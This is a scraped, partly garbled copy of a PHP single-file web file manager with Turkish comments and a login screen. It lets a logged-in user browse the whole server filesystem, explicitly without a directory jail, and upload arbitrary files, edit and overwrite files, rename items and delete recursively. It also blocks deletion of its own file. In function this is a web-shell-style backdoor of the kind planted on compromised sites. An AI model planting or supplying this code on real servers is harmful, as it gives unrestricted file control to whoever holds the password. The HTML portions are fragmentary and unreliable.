ABOUT

scriptName = $scriptName; $this->root = __DIR__; // İşletim sistemine göre kök dizini belirle $this->systemRoot = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? getenv("SystemDrive") . "\\" : "/"; $this->resolvePath(); } // Özgür Yol Çözümleme (Jail Yok) private function resolvePath() { $req = $_GET['dir'] ?? ''; // Eğer dir boşsa scriptin olduğu yerden başla if ($req === '') { $this->currentDir = $this->root; return; } $target = realpath($req); // Yol geçerliyse oraya git, değilse script dizininde kal if ($target !== false && file_exists($target)) { $this->currentDir = $target; } else { $this->addMessage('Dizin bulunamadı, ana dizine dönüldü.', 'warning'); $this->currentDir = $this->root; } } public function getCurrentDir() { return $this->currentDir; } public function getSystemRoot() { return $this->systemRoot; } // CSRF Token Oluştur/Kontrol Et public function checkCSRF() { if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { $this->addMessage('Güvenlik hatası: Geçersiz CSRF Token.', 'danger'); return false; } return true; } public function handleRequest() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return; if (!$this->checkCSRF()) return; $action = $_POST['action'] ?? ''; switch ($action) { case 'upload': $this->handleUpload(); break; case 'create_folder': $this->createFolder(); break; case 'delete': $this->deleteItem(); break; case 'rename': $this->renameItem(); break; case 'save_edit': $this->saveFile(); break; case 'logout': session_destroy(); header("Location: " . $this->scriptName); exit; } } private function handleUpload() { if (isset($_FILES['file']) && $_FILES['file']['error'] === 0) { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $this->currentDir . DIRECTORY_SEPARATOR . $name)) { $this->addMessage('Dosya yüklendi.', 'success'); } else { $this->addMessage('Yükleme başarısız (İzinleri kontrol et).', 'danger'); } } } private function createFolder() { $name = $this->cleanName($_POST['folder_name']); if ($name) { $path = $this->currentDir . DIRECTORY_SEPARATOR . $name; if (!file_exists($path)) { if (@mkdir($path)) $this->addMessage('Klasör oluşturuldu.', 'success'); else $this->addMessage('Klasör oluşturulamadı (Yazma izni yok).', 'danger'); } } } private function deleteItem() { $name = $_POST['item_name']; // cleanName yapmıyoruz, full path gelebilir veya .. içerebilir dikkat // Güvenlik için sadece basename alalım, işlem currentDir içinde yapılır $name = basename($name); $path = $this->currentDir . DIRECTORY_SEPARATOR . $name; // Kendini silmeyi engelle if ($path === __FILE__) { $this->addMessage('Yönetici dosyası silinemez.', 'danger'); return; } if (file_exists($path)) { if ($this->recursiveDelete($path)) $this->addMessage('Öğe silindi.', 'warning'); else $this->addMessage('Silinemedi (İzin hatası).', 'danger'); } } private function renameItem() { $old = $this->cleanName($_POST['old_name']); $new = $this->cleanName($_POST['new_name']); if ($old && $new) { $pOld = $this->currentDir . DIRECTORY_SEPARATOR . $old; $pNew = $this->currentDir . DIRECTORY_SEPARATOR . $new; if (file_exists($pOld) && !file_exists($pNew)) { if(@rename($pOld, $pNew)) $this->addMessage('Yeniden adlandırıldı.', 'success'); else $this->addMessage('İsim değiştirilemedi.', 'danger'); } } } private function saveFile() { $name = $this->cleanName($_POST['filename']); $path = $this->currentDir . DIRECTORY_SEPARATOR . $name; if (file_exists($path)) { if (is_writable($path)) { file_put_contents($path, $_POST['content']); $this->addMessage('Dosya kaydedildi.', 'success'); } else { $this->addMessage('Dosya yazılabilir değil.', 'danger'); } } } // Yardımcılar private function cleanName($name) { return basename(trim($name)); } private function recursiveDelete($str) { if (is_file($str)) { return @unlink($str); } elseif (is_dir($str)) { $scan = glob(rtrim($str, '/') . '/*'); foreach ($scan as $index => $path) { $this->recursiveDelete($path); } return @rmdir($str); } return false; } private function addMessage($msg, $type) { $this->messages[] = ['text' => $msg, 'type' => $type]; } public function getMessages() { return $this->messages; } public function scanDir() { $items = @scandir($this->currentDir); if ($items === false) { $this->addMessage("Dizin içeriği okunamadı (İzin yok).", "danger"); return ['folders' => [], 'files' => []]; } $result = ['folders' => [], 'files' => []]; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $this->currentDir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) $result['folders'][] = $item; else $result['files'][] = $item; } return $result; } } // --- GİRİŞ KONTROLÜ --- if (isset($_POST['login_pass'])) { if ($_POST['login_pass'] === $girisSifresi) { $_SESSION['auth'] = true; $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); header("Location: " . $scriptName); exit; } else { $loginError = "Hatalı şifre."; } } if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) { ?> Giriş Yap

Sistem Girişi

'.$loginError.'
'; ?>
handleRequest(); $list = $fm->scanDir(); $editMode = false; $editContent = ''; $editFile = ''; if (isset($_GET['edit'])) { $fName = basename($_GET['edit']); $fPath = $fm->getCurrentDir() . DIRECTORY_SEPARATOR . $fName; if (is_file($fPath)) { $editMode = true; $editFile = $fName; $editContent = file_get_contents($fPath); } } ?> Yönetim Paneli
Gelişmiş Yönetici
getMessages() as $msg): ?>
Kapat
getCurrentDir().'/'.$f; $size = file_exists($fullP) ? round(filesize($fullP)/1024, 1) : 0; $perm = file_exists($fullP) ? substr(sprintf('%o', fileperms($fullP)), -4) : '????'; $writable = is_writable($fullP); ?>
İsimİzinlerBoyutİşlem
getCurrentDir().'/'.$f)), -4); ?> DIR
KB
Bu klasör boş.